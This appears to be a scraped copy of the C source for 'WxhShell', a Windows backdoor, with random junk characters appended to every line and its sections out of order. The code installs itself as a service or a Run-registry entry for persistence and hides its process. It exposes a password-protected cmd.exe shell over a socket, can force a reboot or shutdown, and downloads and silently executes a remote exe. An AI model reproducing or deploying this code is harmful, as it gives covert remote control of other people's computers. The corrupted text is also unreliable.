    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Lv ^W  
    else { %J ( }D7-,  
    closesocket(wsh); _M]rH<h  
    ExitThread(0); f_P+qm  
    } Oi%~8J>  
    break; @~U6=(+  
    } ]Y: W[p  
  // 获取shell $?A Uk  
  case 's': { dZiWVa  
    CmdShell(wsh); u*-<5& X  
    closesocket(wsh); ;!Z7-OZX  
    ExitThread(0); o` 1V  
    break; CT:eV7<>s  
  } X$h~d8@r  
  // 退出 |XdrO  
  case 'x': { #z^1)7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xE-`Bb  
    CloseIt(wsh); 6k=Wt7C  
    break; ;Y XrG  
    } {6y.%ysU  
  // 离开 Q.E^9giC  
  case 'q': { =jv$ 1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sd@gEp)L  
    closesocket(wsh); FQ~ead36C  
    WSACleanup(); iN/!k.ybW}  
    exit(1); ![hhPYmV  
    break; _DvPF~  
        } G8DIig<  
  } ,bwopRcA  
  } AFB 7s z  
?Nze P?g  
  // 提示信息 f`]E]5?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mhkAI@)>  
} +xdFkc  
  } ,, #rv-*  
`::'UfHc  
  return; YM.IRj2/1  
} /R$x-7t)^(  
sS2E8Z2  
// shell模块句柄 "KE38`NL  
int CmdShell(SOCKET sock) Qnb?hvb"d  
{ +ET  
STARTUPINFO si; hsVJ&-#  
ZeroMemory(&si,sizeof(si)); Sq8Q *  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W]Tt8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7 8inh%  
PROCESS_INFORMATION ProcessInfo; eh7r'DmAR  
char cmdline[]="cmd"; yr 9)ga%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ="[](X^ l  
  return 0; `k%#0E*H  
} FITaL@{c  
)Gp\_(9fc  
// 自身启动模式 lLFBop  
int StartFromService(void) {UC<I.5X  
{ /(pD^D  
typedef struct IoHkcP[H  
{ }%d-U;Tt2  
  DWORD ExitStatus; DMZ aMY|  
  DWORD PebBaseAddress; YM* 6W?  
  DWORD AffinityMask; +C;#Qf  
  DWORD BasePriority; svRaU7<UDN  
  ULONG UniqueProcessId; R$&&kmJ  
  ULONG InheritedFromUniqueProcessId; |laKntv2  
}   PROCESS_BASIC_INFORMATION; ;Y&?ixx  
XaS_3d  
PROCNTQSIP NtQueryInformationProcess; ^PR,TR.  
@ZPTf>J}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k^\ &.63(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3udIe$.Q  
?BvI/H5d  
  HANDLE             hProcess; 4lf36K ,  
  PROCESS_BASIC_INFORMATION pbi; m7eIhmP  
$D\l%y/C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x,G6`|Hl  
  if(NULL == hInst ) return 0; bYB}A :  
7b%Cl   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l@J|p#0q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TaO;r=2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >MY.Fr#.m  
Cj9O [  
  if (!NtQueryInformationProcess) return 0; 'wnY>hN  
@,`=~_J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m`q> _*  
  if(!hProcess) return 0; +F&]BZ  
I>o; %}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'J0s%m|j  
 n(xlad  
  CloseHandle(hProcess); d;:&3r|X  
#$B,8LFz,$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >6834e  
if(hProcess==NULL) return 0; fqsp1m$  
PR6uw  
HMODULE hMod; .p~;U|h"  
char procName[255]; HMd)64(  
unsigned long cbNeeded; -gGK(PIf  
`0sk2fn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /l%qq*Ew  
0BE^qe  
  CloseHandle(hProcess); x i,wL0{  
Cbvl( (  
if(strstr(procName,"services")) return 1; // 以服务启动 <qY>d,+E'  
0)a?W,+O  
  return 0; // 注册表启动 tvxcd*{  
} pAmI ](  
>F_Ne)}qTQ  
// 主模块 $%8n,FJ[  
int StartWxhshell(LPSTR lpCmdLine) BF|FW  
{ >*xzSd? \  
  SOCKET wsl; _cN)q  
BOOL val=TRUE; 31Mc<4zI8  
  int port=0; }0),b ?*e  
  struct sockaddr_in door; 'u/HQg*  
1A.\Ao  
  if(wscfg.ws_autoins) Install(); wGX"R5  
)pa|uH +N  
port=atoi(lpCmdLine); d's`~HOU2  
Bd[Gsns  
if(port<=0) port=wscfg.ws_port; 7Apbi}")  
Y2&6xTh  
  WSADATA data; &2pM3re/f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Kp;o?5H  
YU(x!<Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OXV@LYP@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TY?io@  
  door.sin_family = AF_INET; 2GS2,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SX;IUvVE5  
  door.sin_port = htons(port); d^^>3L!h  
GefgOlg5"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f |5|n>*  
closesocket(wsl); a9-;8`fCR  
return 1; 8;3FTF  
} q[K)bg{HB  
,1L^#?Q~  
  if(listen(wsl,2) == INVALID_SOCKET) { =&GV\ju  
closesocket(wsl); 3I(H.u  
return 1; ]F! h~>  
} | 'G$}]H  
  Wxhshell(wsl); e(A&VIp  
  WSACleanup(); VE m[F/'  
!>j- j  
return 0; 2c]O Mtk  
N@S;{uK  
} k2;yl _7  
u}_q'=<\  
// 以NT服务方式启动 _`58G#z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '#?hm-Ga  
{ ERplDSfO-  
DWORD   status = 0; X3vrD{uNU  
  DWORD   specificError = 0xfffffff; lom4z\6  
_qfdk@@g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s!Vtw p9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $MHc4FE[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S1JB]\  
  serviceStatus.dwWin32ExitCode     = 0; $[e*0!e  
  serviceStatus.dwServiceSpecificExitCode = 0; w:Vs$,  
  serviceStatus.dwCheckPoint       = 0; 2J$Uz,@  
  serviceStatus.dwWaitHint       = 0; '|.u*M,b  
i7_BnJJX{B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '1aOdEZA*  
  if (hServiceStatusHandle==0) return; ~mU#u\r(*  
6}0#({s:R  
status = GetLastError(); @EvnV.  
  if (status!=NO_ERROR) nr}H;wB  
{ k<y$[xV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .u)YZN0\  
    serviceStatus.dwCheckPoint       = 0; 3D3K:K!FK  
    serviceStatus.dwWaitHint       = 0; ZtiOf}@i\  
    serviceStatus.dwWin32ExitCode     = status; &fWZ%C7|jC  
    serviceStatus.dwServiceSpecificExitCode = specificError; |<S9nZg%p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @eul~%B{X  
    return; ;X>KP,/r$  
  } 5m/r,d^H  
f3O3pIA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @/~41\=e  
  serviceStatus.dwCheckPoint       = 0; &c'unKH  
  serviceStatus.dwWaitHint       = 0; =+u$ZZ0+]o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L/shF}<  
} *E>YLkg]  
?mMd6U&J  
// 处理NT服务事件,比如:启动、停止 (jXgJ" m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6Rso}hF}}  
{ 'del|"h!M  
switch(fdwControl) SYyH_0N  
{ +`ZcYLg)#  
case SERVICE_CONTROL_STOP: $`i&\O2*  
  serviceStatus.dwWin32ExitCode = 0; E: %%Dm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5s0H4?S  
  serviceStatus.dwCheckPoint   = 0; E~24b0<7  
  serviceStatus.dwWaitHint     = 0;  ^rI&BN@S  
  { _A(J^;?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TJCoID7a8  
  } :f `1  
  return; p B )nQ5l'  
case SERVICE_CONTROL_PAUSE: - Q,lUP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U*zjEY:A  
  break; &u8BGMl2  
case SERVICE_CONTROL_CONTINUE: z19y>j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t &*$@0A  
  break; t4nAy)I)P  
case SERVICE_CONTROL_INTERROGATE: U,/>p=s  
  break; W}KtB1J  
}; P /Js!e<\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hhwV)Z  
} XI pXP,Yy  
kfn5y#6NZ  
// 标准应用程序主函数 K2!KMhvQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CFVe0!\  
{ nF05p2Mh  
&B[$l`1  
// 获取操作系统版本 ($]y*| Obn  
OsIsNt=GetOsVer(); kz+P?mopm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JGJQ5zt  
:H6Ipa  
  // 从命令行安装 i_V~SC`  
  if(strpbrk(lpCmdLine,"iI")) Install(); d!8`}L:=M  
" GgK,d}%  
  // 下载执行文件 ]^"*Fdn  
if(wscfg.ws_downexe) { Qb6s]QZEV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'a*tee ^RS  
  WinExec(wscfg.ws_filenam,SW_HIDE); EI]NOG 0  
} ) =sm{R%T  
? %F*{3IP  
if(!OsIsNt) { F+|zCEc  
// 如果时win9x,隐藏进程并且设置为注册表启动 +:;r} 7Zh  
HideProc(); JZ'`.yK:  
StartWxhshell(lpCmdLine); nJlrBf_Kj  
} pGh2 4E  
else <S%M*j  
  if(StartFromService()) <Jv %}r  
  // 以服务方式启动 +U% = w8b  
  StartServiceCtrlDispatcher(DispatchTable); tGe|@.!  
else t(}\D]mj  
  // 普通方式启动 ,vl][MhM  
  StartWxhshell(lpCmdLine); Ag^Cb'3X  
Q&rpW:^v  
return 0; Y[#i(5w  
} G ,An8GR%&  
a=T_I1  
H[BY(a@c  
TeSF  
=========================================== F_$eu-y  
|]w0ytL>(2  
K FvNsqd  
76(-!Z@=J  
1$]4g/":o  
;<O Iu&,*  
" "X=l7{c/  
VnAJOR7lrx  
#include <stdio.h> e/'d0Gb-  
#include <string.h> P33x/#VVE  
#include <windows.h> $fR[zBxA  
#include <winsock2.h> Y<0 [_+(  
#include <winsvc.h> T.]+T[}!  
#include <urlmon.h> a=>PGriL  
UJ3l8 %/`k  
#pragma comment (lib, "Ws2_32.lib") Ii_X^)IL(  
#pragma comment (lib, "urlmon.lib") }J$Q  
%}t.+z(S  
#define MAX_USER   100 // 最大客户端连接数 zc%#7"FM  
#define BUF_SOCK   200 // sock buffer )/A IfH  
#define KEY_BUFF   255 // 输入 buffer 4 IuQQ  
I'%vN^e^  
#define REBOOT     0   // 重启 `VM@-;@w  
#define SHUTDOWN   1   // 关机 BuII|j  
Z<T%:F  
#define DEF_PORT   5000 // 监听端口 Z6#}6Y{  
cPZD#";f  
#define REG_LEN     16   // 注册表键长度 ^kA^> vi  
#define SVC_LEN     80   // NT服务名长度 ~OO&%\$k  
1$vsw  
// 从dll定义API fS+Ga1CsH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3eX;T +|o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,R_ KLd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xrd@GTaI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OLp;eb1g  
JFf*v6:,  
// wxhshell配置信息 hDTiXc  
struct WSCFG { MdM^!sk&`  
  int ws_port;         // 监听端口 *<Yn  
  char ws_passstr[REG_LEN]; // 口令 4 qMO@E_  
  int ws_autoins;       // 安装标记, 1=yes 0=no t4>%<'>e  
  char ws_regname[REG_LEN]; // 注册表键名 tCH4-~,#  
  char ws_svcname[REG_LEN]; // 服务名 t ' _Au8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0]%0wbY1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UZ#Yd|'PD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p(dJf&D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _' KJ:3e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IO3`/R-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R+,eXjz"  
it V@U  
}; $=?1>zvF  
tg%s#lLeH  
// default Wxhshell configuration mRVE@ pc2X  
struct WSCFG wscfg={DEF_PORT, &s m7R i  
    "xuhuanlingzhe", }@Rq'VPZd  
    1, 78a!@T1#  
    "Wxhshell", $ qOV#,@  
    "Wxhshell", e_mUO"  
            "WxhShell Service", 4wfT8CL  
    "Wrsky Windows CmdShell Service", {@j0?s  
    "Please Input Your Password: ", ?S&pq?   
  1, EAiE@r>4  
  "http://www.wrsky.com/wxhshell.exe",  Z|zyO-  
  "Wxhshell.exe" [>+}2-#  
    }; ND);7  
Mle@.IIT  
// 消息定义模块 {|)u).n|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =~;SUO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z@@w?>*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LObS 7U  
char *msg_ws_ext="\n\rExit."; MZ" yjQA  
char *msg_ws_end="\n\rQuit."; a3}#lY):  
char *msg_ws_boot="\n\rReboot..."; nT UKA  
char *msg_ws_poff="\n\rShutdown..."; `>M;f%s  
char *msg_ws_down="\n\rSave to "; !YUMAp/  
-"*UICd  
char *msg_ws_err="\n\rErr!"; 0Vu&UD  
char *msg_ws_ok="\n\rOK!"; 43_;Z| T  
r8PXdNg  
char ExeFile[MAX_PATH]; E+XpgR5  
int nUser = 0; rKZ1 c,y  
HANDLE handles[MAX_USER]; ~pM\]OC  
int OsIsNt; dOm`p W^  
"&jWC  
SERVICE_STATUS       serviceStatus; c;\}R#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wPhN_XV  
{a>a?fVU  
// 函数声明 :^ 9sy  
int Install(void); Z<7FF}i  
int Uninstall(void); +h!OdWD9  
int DownloadFile(char *sURL, SOCKET wsh); k+*DPo@)  
int Boot(int flag); AiUICf?{  
void HideProc(void); B o@B9/ABv  
int GetOsVer(void); gQ]WNJ~>  
int Wxhshell(SOCKET wsl); hg8gB8Xq  
void TalkWithClient(void *cs); \U^0E> d  
int CmdShell(SOCKET sock); li>`9qCmI  
int StartFromService(void); o+U]=q*|)$  
int StartWxhshell(LPSTR lpCmdLine); P38D-fLq  
?NazfK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [" '0vQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P\"|b\O1  
WU}?8\?U%  
// 数据结构和表定义 &?.k-:iN  
SERVICE_TABLE_ENTRY DispatchTable[] = L0j&p[(r  
{ etY/K0  
{wscfg.ws_svcname, NTServiceMain}, SG6@Rn*^  
{NULL, NULL} J{98x zb  
}; y1DP`Ro  
{~=Edf  
// 自我安装 #lA8yWxr  
int Install(void) 8FY.u{93  
{ &_Py{Cv@Dw  
  char svExeFile[MAX_PATH]; {Vz.| a[T  
  HKEY key; *W()|-[V3  
  strcpy(svExeFile,ExeFile); !P*1^8b`f  
sP1wO4M?{  
// 如果是win9x系统,修改注册表设为自启动 EC6&#)g;CO  
if(!OsIsNt) { 5B+>28G%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {3RY4HVT?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2t h\%  
  RegCloseKey(key); hr%O4&sa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "zSi9]j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _C` cO  
  RegCloseKey(key); ~GL"s6C$`;  
  return 0; esCm`?qCP  
    } m>4jRr6sF  
  } |%JJ S^)  
} 5@3[t`n'  
else { #BQ7rF7CNE  
*%JncK '  
// 如果是NT以上系统,安装为系统服务 2#z6=M~A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~RSOUrR  
if (schSCManager!=0) 0i}4T:J@`  
{ Pkx*1.uo  
  SC_HANDLE schService = CreateService 57/9i> @  
  ( x\qS|q\N  
  schSCManager, G([8Q8B4 +  
  wscfg.ws_svcname, Vl;GQe  
  wscfg.ws_svcdisp, w9D<^(_}/  
  SERVICE_ALL_ACCESS, w*.q t<rH)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yk',a$.S  
  SERVICE_AUTO_START, ]"SH pq  
  SERVICE_ERROR_NORMAL, HJl$v#]#+  
  svExeFile, T( @y#09  
  NULL, y74Ph:^ k  
  NULL, Y40Hcc+Fx  
  NULL, <1tFwC|4BJ  
  NULL, xN wKTIK$  
  NULL " 6 /`  
  ); .#R\t 7m%  
  if (schService!=0) Z!Sv/ 5xx  
  { ]T\K-;i  
  CloseServiceHandle(schService); V-a/%_D  
  CloseServiceHandle(schSCManager); ul~>eZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PT4Xr=z =  
  strcat(svExeFile,wscfg.ws_svcname); lJ@2N$w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2<}^m/}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q[{q3-W  
  RegCloseKey(key); /km^IH  
  return 0; s~ Wjh7'  
    } ,>CFw-Nxu  
  } 9 O| "Ws>{  
  CloseServiceHandle(schSCManager); \UFno$;mA  
} h.c<A{[I6c  
}  r(pp =  
KL]K< A  
return 1; jLC,<V*  
} P<GY"W+r R  
TF 6_4t6  
// 自我卸载 Hno@  
int Uninstall(void) N'R^S98x  
{ ~/1kCZB  
  HKEY key; y [e $  
:~loy'  
if(!OsIsNt) { 2|F.JG^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dT8m$}h9  
  RegDeleteValue(key,wscfg.ws_regname); M= !Fb  
  RegCloseKey(key); Mt)~:V+:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XOzPi*V**  
  RegDeleteValue(key,wscfg.ws_regname); P8!Vcy938  
  RegCloseKey(key); CYrVP%xRA  
  return 0; r AMnM>`  
  } jPYed@[+  
} zR h1  
} fV*x2g7w  
else { Ous[{"-J  
s]`&9{=E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \1D~4Gz6}  
if (schSCManager!=0) %j=dKd>  
{ d.tjLeY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p?X.I]=vRv  
  if (schService!=0) !%J;dOcU  
  { SQ5SvYH  
  if(DeleteService(schService)!=0) { /_v5B>  
  CloseServiceHandle(schService); !zLd ,`  
  CloseServiceHandle(schSCManager); s$6zA j!  
  return 0; dluNA(Xc-  
  } T8>:@EL-k  
  CloseServiceHandle(schService); JC`|GaUy  
  } :FwXoJc_+5  
  CloseServiceHandle(schSCManager); u7G@VZ Ux5  
} P{5p'g ,  
} t,= ta{ a  
 Z_F:H@-&  
return 1; .:Bjs*  
} wl2rw93  
/A\'_a|  
// 从指定url下载文件 I<|)uK7  
int DownloadFile(char *sURL, SOCKET wsh) E-_)w  
{ '{XDhK  
  HRESULT hr; :k8>)x] )  
char seps[]= "/"; *MW)APw=  
char *token; UBuk-tq  
char *file; ,WA7Kp9  
char myURL[MAX_PATH]; Xtbuy/8"1  
char myFILE[MAX_PATH]; qu BTRW9  
Lx,"jA/  
strcpy(myURL,sURL); l5Z=aW Q  
  token=strtok(myURL,seps); 2NAGXWE  
  while(token!=NULL) aUSxy8%  
  { !uLAW_~  
    file=token; @Ek''a$  
  token=strtok(NULL,seps); m9ts&b+TE  
  } F6h3M~uR  
K+Q81<X~  
GetCurrentDirectory(MAX_PATH,myFILE); UBqA[9  
strcat(myFILE, "\\"); hLGUkG?6G  
strcat(myFILE, file); m9Gyjr'L  
  send(wsh,myFILE,strlen(myFILE),0); 2H;&E1:  
send(wsh,"...",3,0); sp0& " &5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G& cm5  
  if(hr==S_OK) G U~?S'{  
return 0; @!fy24R]D  
else 0#F3@/1h  
return 1; *D #H-]9  
rmpJG |(  
} LSlaz  
x,IU]YW@  
// 系统电源模块 #rMMOu9r2  
int Boot(int flag) #9}KC 9f  
{ lG>rf*ei~  
  HANDLE hToken; #9O *@  
  TOKEN_PRIVILEGES tkp; u$[ '}z0:  
GZ/.eYE  
  if(OsIsNt) { l>h%J,W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c.6u)"@$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rEfk5R  
    tkp.PrivilegeCount = 1; Ks@S5:9sp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X<\^*{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K6~N{:.s  
if(flag==REBOOT) { ??=CAU%\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /ivt8Uiw  
  return 0; ,,mkB6;  
} O^G/(  
else { l*uNi47|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qd~)Ya1  
  return 0; \.myLkm  
} b')CGqbbmT  
  } MHVqRYz  
  else { 78#je=MDg  
if(flag==REBOOT) { #6fp "  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H&E c *MT  
  return 0; l -_voOP  
} | ctGxS9  
else { "p.MJxH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v3Tr6[9  
  return 0; f3lFpS  
} <i^Bq=E<rJ  
} N\=pH{  
5!}xl9D  
return 1; :y!e6  
} 8wwqV{O7  
Yfk[mo  
// win9x进程隐藏模块 af\>+7x93  
void HideProc(void) _ot4HmD  
{ h|yv*1/|  
G^p>fy~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xw`vf7z*  
  if ( hKernel != NULL ) @cAv8i K  
  { );}k@w fw)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mj[PKEdkB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +c/am``  
    FreeLibrary(hKernel); )b"H]"  
  } r^ S 4 I&  
WG NuB9R  
return; ~ 6 1?nu  
} jU)r~QhN  
_zI9 5  
// 获取操作系统版本 9@./=5N~3  
int GetOsVer(void) HC*=E.J  
{ Kpz>si?CL  
  OSVERSIONINFO winfo; ) I 4d_]&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N6cf`xye  
  GetVersionEx(&winfo); &BqRyUM$F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,IA0n79  
  return 1; ~;aSX1   
  else '{\VO U  
  return 0; Hhr/o~?;}#  
} j;<Yje&Wz  
-2o4v#d  
// 客户端句柄模块 <?&GBCe  
int Wxhshell(SOCKET wsl) Tc,Bv7:  
{ *I`Sc|A  
  SOCKET wsh; m'KY;C  
  struct sockaddr_in client; y1,L0v$=}  
  DWORD myID; @y;N u   
l] WV gu  
  while(nUser<MAX_USER) #w*1 !  
{ 1 <.I2\^  
  int nSize=sizeof(client); \2U^y4K.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S h=E.!  
  if(wsh==INVALID_SOCKET) return 1; ,]i ^/fT  
[5:,+i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UA!h[+Z  
if(handles[nUser]==0) D5\$xdlJy  
  closesocket(wsh); dD1`[%  
else /YR*KxIx  
  nUser++; chQt8Ar3  
  } S6h=} V )  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e-,U@_B  
xM9EO(u  
  return 0; F}DdErd!f  
} sVZb[|zSri  
"V&2 g?  
// 关闭 socket ! o:m*:  
void CloseIt(SOCKET wsh) M-K<w(,X  
{ 'C1=(PE%`  
closesocket(wsh); ~&CaC  
nUser--; k[6@\D-  
ExitThread(0); eQx9 Vnb  
} @(JcM=  
n }7DL8  
// 客户端请求句柄 V=VL@=  
void TalkWithClient(void *cs) k.rP}76  
{ s!~M,zsQN  
CCDoiTu!4  
  SOCKET wsh=(SOCKET)cs; 7fLLV2  
  char pwd[SVC_LEN]; mk~i (Ee  
  char cmd[KEY_BUFF]; K%Mm'$fTw  
char chr[1]; WiH%URFB  
int i,j; m( C7Fa  
S]KcAz(fX  
  while (nUser < MAX_USER) { @BbZ(cZ*  
i@6MO'y  
if(wscfg.ws_passstr) { xQ>c.}J/i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iJ~5A'?6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )pjd*+V  
  //ZeroMemory(pwd,KEY_BUFF); ;o,t *  
      i=0; b3wE8Co  
  while(i<SVC_LEN) { Cc0`Ylx~(  
30*^ERO  
  // 设置超时 /,"Z^=  
  fd_set FdRead; KwN o/x| v  
  struct timeval TimeOut; ?cG+rC%  
  FD_ZERO(&FdRead); r42[pi]F  
  FD_SET(wsh,&FdRead); a_^3:}i~D  
  TimeOut.tv_sec=8; W,`u5gbT  
  TimeOut.tv_usec=0; #] vq <Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o{4ya jt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q]0a8[]3  
CM>/b3nOW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p)f OAr  
  pwd=chr[0]; `. /[/ z-g  
  if(chr[0]==0xd || chr[0]==0xa) { RV.z xPw>>  
  pwd=0; g:q+.6va"  
  break; gd_w;{WP  
  } y%|nE((  
  i++; ZFOYYht  
    } LbJ tU !  
n4 KiC!*i0  
  // 如果是非法用户,关闭 socket HPCzh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }zj w\  
} M/5/Tp  
1(gb-u0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y+(<Is0w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fla[YWS  
[@";\C_I  
while(1) { >f^&^28  
nUQcoSY#  
  ZeroMemory(cmd,KEY_BUFF); &"._%S58V  
si/F\NDT   
      // 自动支持客户端 telnet标准   zpZlA_   
  j=0; WnLgpt2G  
  while(j<KEY_BUFF) { \u2K?wC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vYL{5,t {1  
  cmd[j]=chr[0]; @ ~ N:F~  
  if(chr[0]==0xa || chr[0]==0xd) {  uw LT$  
  cmd[j]=0; Y` LZ/Tgk  
  break; ~{n_rKYV  
  } %+w>`k3(N  
  j++; req=w;E:  
    } ?f1%)]>   
H#E   
  // 下载文件 6ApW+/  
  if(strstr(cmd,"http://")) { bS&'oWy*B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); doFp53NhV  
  if(DownloadFile(cmd,wsh)) Qf414 oW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V(L~t=k$  
  else s C e7ni  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :GIY"l'  
  } Z"lL=0rY/  
  else { B+jT|Y'  
$sU?VA'h  
    switch(cmd[0]) { UIL5K   
  L-Xd3RCD  
  // 帮助 +DF<o U~  
  case '?': { <eO 7b6_  
